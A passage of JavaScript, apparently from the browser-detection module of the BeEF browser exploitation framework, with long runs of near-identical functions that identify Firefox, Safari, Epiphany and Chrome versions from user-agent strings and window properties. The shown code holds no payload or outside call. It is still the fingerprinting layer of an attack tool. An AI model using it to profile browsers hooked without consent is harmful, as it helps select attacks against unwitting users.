  4056. return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58();
  4057. },
  4058.  
  4059. /**
  4060. * Returns true if Safari 4.xx
  4061. * @example: beef.browser.isS4()
  4062. */
  4063. isS4: function () {
  4064. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  4065. },
  4066.  
  4067. /**
  4068. * Returns true if Safari 5.xx
  4069. * @example: beef.browser.isS5()
  4070. */
  4071. isS5: function () {
  4072. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  4073. },
  4074.  
  4075. /**
  4076. * Returns true if Safari 6.xx
  4077. * @example: beef.browser.isS6()
  4078. */
  4079. isS6: function () {
  4080. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  4081. },
  4082.  
  4083. /**
  4084. * Returns true if Safari 7.xx
  4085. * @example: beef.browser.isS7()
  4086. */
  4087. isS7: function () {
  4088. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  4089. },
  4090.  
  4091. /**
  4092. * Returns true if Safari 8.xx
  4093. * @example: beef.browser.isS8()
  4094. */
  4095. isS8: function () {
  4096. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  4097. },
  4098.  
  4099. /**
  4100. * Returns true if Safari.
  4101. * @example: beef.browser.isS()
  4102. */
  4103. isS: function () {
  4104. return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
  4105. },
  4106.  
  4107. /**
  4108. * Returns true if Webkit based
  4109. *
  4110. * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
  4111. */
  4112. isWebKitBased: function () {
  4113. return (!window.opera && !window.chrome
  4114. && window.navigator.userAgent.match(/ Version\/\d/) != null
  4115. && !window.globalStorage
  4116. && !!window.getComputedStyle
  4117. && !("MozWebSocket" in window));
  4118. },
  4119.  
  4120. /**
  4121. * Return true if Epiphany
  4122. * @example: beef.browser.isEpi()
  4123. */
  4124. isEpi: function () {
  4125. // Epiphany is based on webkit
  4126. // due to the uncertainty of webkit version vs Epiphany versions tracking.
  4127. // -- do webkit based checking (i.e. do safari checks)
  4128. return this.isWebKitBased() && window.navigator.userAgent.match(/Epiphany\//) != null;
  4129. },
  4130.  
  4131.  
  4132. /**
  4133. * Returns true if Chrome 5.
  4134. * @example: beef.browser.isC5()
  4135. */
  4136. isC5: function () {
  4137. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false);
  4138. },
  4139.  
  4140. /**
  4141. * Returns true if Chrome 6.
  4142. * @example: beef.browser.isC6()
  4143. */
  4144. isC6: function () {
  4145. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false);
  4146. },
  4147.  
  4148. /**
  4149. * Returns true if Chrome 7.
  4150. * @example: beef.browser.isC7()
  4151. */
  4152. isC7: function () {
  4153. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false);
  4154. },
  4155.  
  4156. /**
  4157. * Returns true if Chrome 8.
  4158. * @example: beef.browser.isC8()
  4159. */
  4160. isC8: function () {
  4161. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false);
  4162. },
  4163.  
  4164. /**
  4165. * Returns true if Chrome 9.
  4166. * @example: beef.browser.isC9()
  4167. */
  4168. isC9: function () {
  4169. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false);
  4170. },
  4171.  
  4172. /**
  4173. * Returns true if Chrome 10.
  4174. * @example: beef.browser.isC10()
  4175. */
  4176. isC10: function () {
  4177. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false);
  4178. },
  4179.  
  4180. /**
  4181. * Returns true if Chrome 11.
  4182. * @example: beef.browser.isC11()
  4183. */
  4184. isC11: function () {
  4185. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false);
  4186. },
  4187.  
  4188. /**
  4189. * Returns true if Chrome 12.
  4190. * @example: beef.browser.isC12()
  4191. */
  4192. isC12: function () {
  4193. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false);
  4194. },
  4195.  
  4196. /**
  4197. * Returns true if Chrome 13.
  4198. * @example: beef.browser.isC13()
  4199. */
  4200. isC13: function () {
  4201. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false);
  4202. },
  4203.  
  4204. /**
  4205. * Returns true if Chrome 14.
  4206. * @example: beef.browser.isC14()
  4207. */
  4208. isC14: function () {
  4209. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false);
  4210. },
  4211.  
  4212. /**
  4213. * Returns true if Chrome 15.
  4214. * @example: beef.browser.isC15()
  4215. */
  4216. isC15: function () {
  4217. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false);
  4218. },
  4219.  
  4220. /**
  4221. * Returns true if Chrome 16.
  4222. * @example: beef.browser.isC16()
  4223. */
  4224. isC16: function () {
  4225. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false);
  4226. },
  4227.  
  4228. /**
  4229. * Returns true if Chrome 17.
  4230. * @example: beef.browser.isC17()
  4231. */
  4232. isC17: function () {
  4233. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false);
  4234. },
  4235.  
  4236. /**
  4237. * Returns true if Chrome 18.
  4238. * @example: beef.browser.isC18()
  4239. */
  4240. isC18: function () {
  4241. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false);
  4242. },
  4243.  
  4244. /**
  4245. * Returns true if Chrome 19.
  4246. * @example: beef.browser.isC19()
  4247. */
  4248. isC19: function () {
  4249. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false);
  4250. },
  4251.  
  4252. /**
  4253. * Returns true if Chrome for iOS 19.
  4254. * @example: beef.browser.isC19iOS()
  4255. */
  4256. isC19iOS: function () {
  4257. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
  4258. },
  4259.  
  4260. /**
  4261. * Returns true if Chrome 20.
  4262. * @example: beef.browser.isC20()
  4263. */
  4264. isC20: function () {
  4265. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false);
  4266. },
  4267.  
  4268. /**
  4269. * Returns true if Chrome for iOS 20.
  4270. * @example: beef.browser.isC20iOS()
  4271. */
  4272. isC20iOS: function () {
  4273. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
  4274. },
  4275.  
  4276. /**
  4277. * Returns true if Chrome 21.
  4278. * @example: beef.browser.isC21()
  4279. */
  4280. isC21: function () {
  4281. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false);
  4282. },
  4283.  
  4284. /**
  4285. * Returns true if Chrome for iOS 21.
  4286. * @example: beef.browser.isC21iOS()
  4287. */
  4288. isC21iOS: function () {
  4289. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
  4290. },
  4291.  
  4292. /**
  4293. * Returns true if Chrome 22.
  4294. * @example: beef.browser.isC22()
  4295. */
  4296. isC22: function () {
  4297. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false);
  4298. },
  4299.  
  4300. /**
  4301. * Returns true if Chrome for iOS 22.
  4302. * @example: beef.browser.isC22iOS()
  4303. */
  4304. isC22iOS: function () {
  4305. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
  4306. },
  4307.  
  4308. /**
  4309. * Returns true if Chrome 23.
  4310. * @example: beef.browser.isC23()
  4311. */
  4312. isC23: function () {
  4313. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false);
  4314. },
  4315.  
  4316. /**
  4317. * Returns true if Chrome for iOS 23.
  4318. * @example: beef.browser.isC23iOS()
  4319. */
  4320. isC23iOS: function () {
  4321. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
  4322. },
  4323.  
  4324. /**
  4325. * Returns true if Chrome 24.
  4326. * @example: beef.browser.isC24()
  4327. */
  4328. isC24: function () {
  4329. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false);
  4330. },
  4331.  
  4332. /**
  4333. * Returns true if Chrome for iOS 24.
  4334. * @example: beef.browser.isC24iOS()
  4335. */
  4336. isC24iOS: function () {
  4337. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
  4338. },
  4339.  
  4340. /**
  4341. * Returns true if Chrome 25.
  4342. * @example: beef.browser.isC25()
  4343. */
  4344. isC25: function () {
  4345. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false);
  4346. },
  4347.  
  4348. /**
  4349. * Returns true if Chrome for iOS 25.
  4350. * @example: beef.browser.isC25iOS()
  4351. */
  4352. isC25iOS: function () {
  4353. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
  4354. },
  4355.  
  4356. /**
  4357. * Returns true if Chrome 26.
  4358. * @example: beef.browser.isC26()
  4359. */
  4360. isC26: function () {
  4361. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false);
  4362. },
  4363.  
  4364. /**
  4365. * Returns true if Chrome for iOS 26.
  4366. * @example: beef.browser.isC26iOS()
  4367. */
  4368. isC26iOS: function () {
  4369. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
  4370. },
  4371.  
  4372. /**
  4373. * Returns true if Chrome 27.
  4374. * @example: beef.browser.isC27()
  4375. */
  4376. isC27: function () {
  4377. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false);
  4378. },
  4379.  
  4380. /**
  4381. * Returns true if Chrome for iOS 27.
  4382. * @example: beef.browser.isC27iOS()
  4383. */
  4384. isC27iOS: function () {
  4385. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
  4386. },
  4387.  
  4388. /**
  4389. * Returns true if Chrome 28.
  4390. * @example: beef.browser.isC28()
  4391. */
  4392. isC28: function () {
  4393. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false);
  4394. },
  4395.  
  4396. /**
  4397. * Returns true if Chrome for iOS 28.
  4398. * @example: beef.browser.isC28iOS()
  4399. */
  4400. isC28iOS: function () {
  4401. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
  4402. },
  4403.  
  4404. /**
  4405. * Returns true if Chrome 29.
  4406. * @example: beef.browser.isC29()
  4407. */
  4408. isC29: function () {
  4409. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false);
  4410. },
  4411.  
  4412. /**
  4413. * Returns true if Chrome for iOS 29.
  4414. * @example: beef.browser.isC29iOS()
  4415. */
  4416. isC29iOS: function () {
  4417. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
  4418. },
  4419.  
  4420. /**
  4421. * Returns true if Chrome 30.
  4422. * @example: beef.browser.isC30()
  4423. */
  4424. isC30: function () {
  4425. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false);
  4426. },
  4427.  
  4428. /**
  4429. * Returns true if Chrome for iOS 30.
  4430. * @example: beef.browser.isC30iOS()
  4431. */
  4432. isC30iOS: function () {
  4433. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
  4434. },
  4435.  
  4436. /**
  4437. * Returns true if Chrome 31.
  4438. * @example: beef.browser.isC31()
  4439. */
  4440. isC31: function () {
  4441. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false);
  4442. },
  4443.  
  4444. /**
  4445. * Returns true if Chrome for iOS 31.
  4446. * @example: beef.browser.isC31iOS()
  4447. */
  4448. isC31iOS: function () {
  4449. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
  4450. },
  4451.  
  4452. /**
  4453. * Returns true if Chrome 32.
  4454. * @example: beef.browser.isC32()
  4455. */
  4456. isC32: function () {
  4457. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false);
  4458. },
  4459.  
  4460. /**
  4461. * Returns true if Chrome for iOS 32.
  4462. * @example: beef.browser.isC32iOS()
  4463. */
  4464. isC32iOS: function () {
  4465. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
  4466. },
  4467.  
  4468. /**
  4469. * Returns true if Chrome 33.
  4470. * @example: beef.browser.isC33()
  4471. */
  4472. isC33: function () {
  4473. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false);
  4474. },
  4475.  
  4476. /**
  4477. * Returns true if Chrome for iOS 33.
  4478. * @example: beef.browser.isC33iOS()
  4479. */
  4480. isC33iOS: function () {
  4481. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
  4482. },
  4483.  
  4484. /**
  4485. * Returns true if Chrome 34.
  4486. * @example: beef.browser.isC34()
  4487. */
  4488. isC34: function () {
  4489. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ? true : false);
  4490. },
  4491.  
  4492. /**
  4493. * Returns true if Chrome for iOS 34.
  4494. * @example: beef.browser.isC34iOS()
  4495. */
  4496. isC34iOS: function () {
  4497. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
  4498. },
  4499.  
  4500. /**
  4501. * Returns true if Chrome 35.
  4502. * @example: beef.browser.isC35()
  4503. */
  4504. isC35: function () {
  4505. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ? true : false);
  4506. },
  4507.  
  4508. /**
  4509. * Returns true if Chrome for iOS 35.
  4510. * @example: beef.browser.isC35iOS()
  4511. */
  4512. isC35iOS: function () {
  4513. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
  4514. },
  4515.  
  4516. /**
  4517. * Returns true if Chrome 36.
  4518. * @example: beef.browser.isC36()
  4519. */
  4520. isC36: function () {
  4521. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ? true : false);
  4522. },
  4523.  
  4524. /**
  4525. * Returns true if Chrome for iOS 36.
  4526. * @example: beef.browser.isC36iOS()
  4527. */
  4528. isC36iOS: function () {
  4529. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
  4530. },
  4531.  
  4532. /**
  4533. * Returns true if Chrome 37.
  4534. * @example: beef.browser.isC37()
  4535. */
  4536. isC37: function () {
  4537. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false);
  4538. },
  4539.  
  4540. /**
  4541. * Returns true if Chrome for iOS 37.
  4542. * @example: beef.browser.isC37iOS()
  4543. */
  4544. isC37iOS: function () {
  4545. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
  4546. },
  4547.  
  4548. /**
  4549. * Returns true if Chrome 38.
  4550. * @example: beef.browser.isC38()
  4551. */
  4552. isC38: function () {
  4553. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false);
  4554. },
  4555.  
  4556. /**
  4557. * Returns true if Chrome for iOS 38.
  4558. * @example: beef.browser.isC38iOS()
  4559. */
  4560. isC38iOS: function () {
  4561. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
  4562. },
  4563.  
  4564. /**
  4565. * Returns true if Chrome 39.
  4566. * @example: beef.browser.isC39()
  4567. */
  4568. isC39: function () {
  4569. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false);
  4570. },
  4571.  
  4572. /**
  4573. * Returns true if Chrome for iOS 39.
  4574. * @example: beef.browser.isC39iOS()
  4575. */
  4576. isC39iOS: function () {
  4577. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
  4578. },
  4579.  
  4580. /**
  4581. * Returns true if Chrome 40.
  4582. * @example: beef.browser.isC40()
  4583. */
  4584. isC40: function () {
  4585. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
  4586. },
  4587.  
  4588. /**
  4589. * Returns true if Chrome for iOS 40.
  4590. * @example: beef.browser.isC40iOS()
  4591. */
  4592. isC40iOS: function () {
  4593. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
  4594. },
  4595.  
  4596. /**
  4597. * Returns true if Chrome 41.
  4598. * @example: beef.browser.isC41()
  4599. */
  4600. isC41: function () {
  4601. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
  4602. },
  4603.  
  4604. /**
  4605. * Returns true if Chrome for iOS 41.
  4606. * @example: beef.browser.isC41iOS()
  4607. */
  4608. isC41iOS: function () {
  4609. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
  4610. },
  4611.  
  4612. /**
  4613. * Returns true if Chrome 42.
  4614. * @example: beef.browser.isC42()
  4615. */
  4616. isC42: function () {
  4617. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
  4618. },
  4619.  
  4620. /**
  4621. * Returns true if Chrome for iOS 42.
  4622. * @example: beef.browser.isC42iOS()
  4623. */
  4624. isC42iOS: function () {
  4625. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
  4626. },
  4627.  
  4628. /**
  4629. * Returns true if Chrome 43.
  4630. * @example: beef.browser.isC43()
  4631. */
  4632. isC43: function () {
  4633. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
  4634. },
  4635.  
  4636. /**
  4637. * Returns true if Chrome for iOS 43.
  4638. * @example: beef.browser.isC43iOS()
  4639. */
  4640. isC43iOS: function () {
  4641. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
  4642. },
  4643.  
  4644. /**
  4645. * Returns true if Chrome 44.
  4646. * @example: beef.browser.isC44()
  4647. */
  4648. isC44: function () {
  4649. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
  4650. },
  4651.  
  4652. /**
  4653. * Returns true if Chrome for iOS 44.
  4654. * @example: beef.browser.isC44iOS()
  4655. */
  4656. isC44iOS: function () {
  4657. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
  4658. },
  4659.  
  4660. /**
  4661. * Returns true if Chrome 45.
  4662. * @example: beef.browser.isC45()
  4663. */
  4664. isC45: function () {
  4665. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
  4666. },
  4667.  
  4668. /**
  4669. * Returns true if Chrome for iOS 45.
  4670. * @example: beef.browser.isC45iOS()
  4671. */
  4672. isC45iOS: function () {
  4673. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
  4674. },
  4675.  
  4676. /**
  4677. * Returns true if Chrome 46.
  4678. * @example: beef.browser.isC46()
  4679. */
  4680. isC46: function () {
  4681. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
  4682. },
  4683.  
  4684. /**
  4685. * Returns true if Chrome for iOS 46.
  4686. * @example: beef.browser.isC46iOS()
  4687. */
  4688. isC46iOS: function () {
  4689. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 46) ? true : false);
  4690. },
  4691.  
  4692. /**
  4693. * Returns true if Chrome 47.
  4694. * @example: beef.browser.isC47()
  4695. */
  4696. isC47: function () {
  4697. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
  4698. },
  4699.  
  4700. /**
  4701. * Returns true if Chrome for iOS 47.
  4702. * @example: beef.browser.isC47iOS()
  4703. */
  4704. isC47iOS: function () {
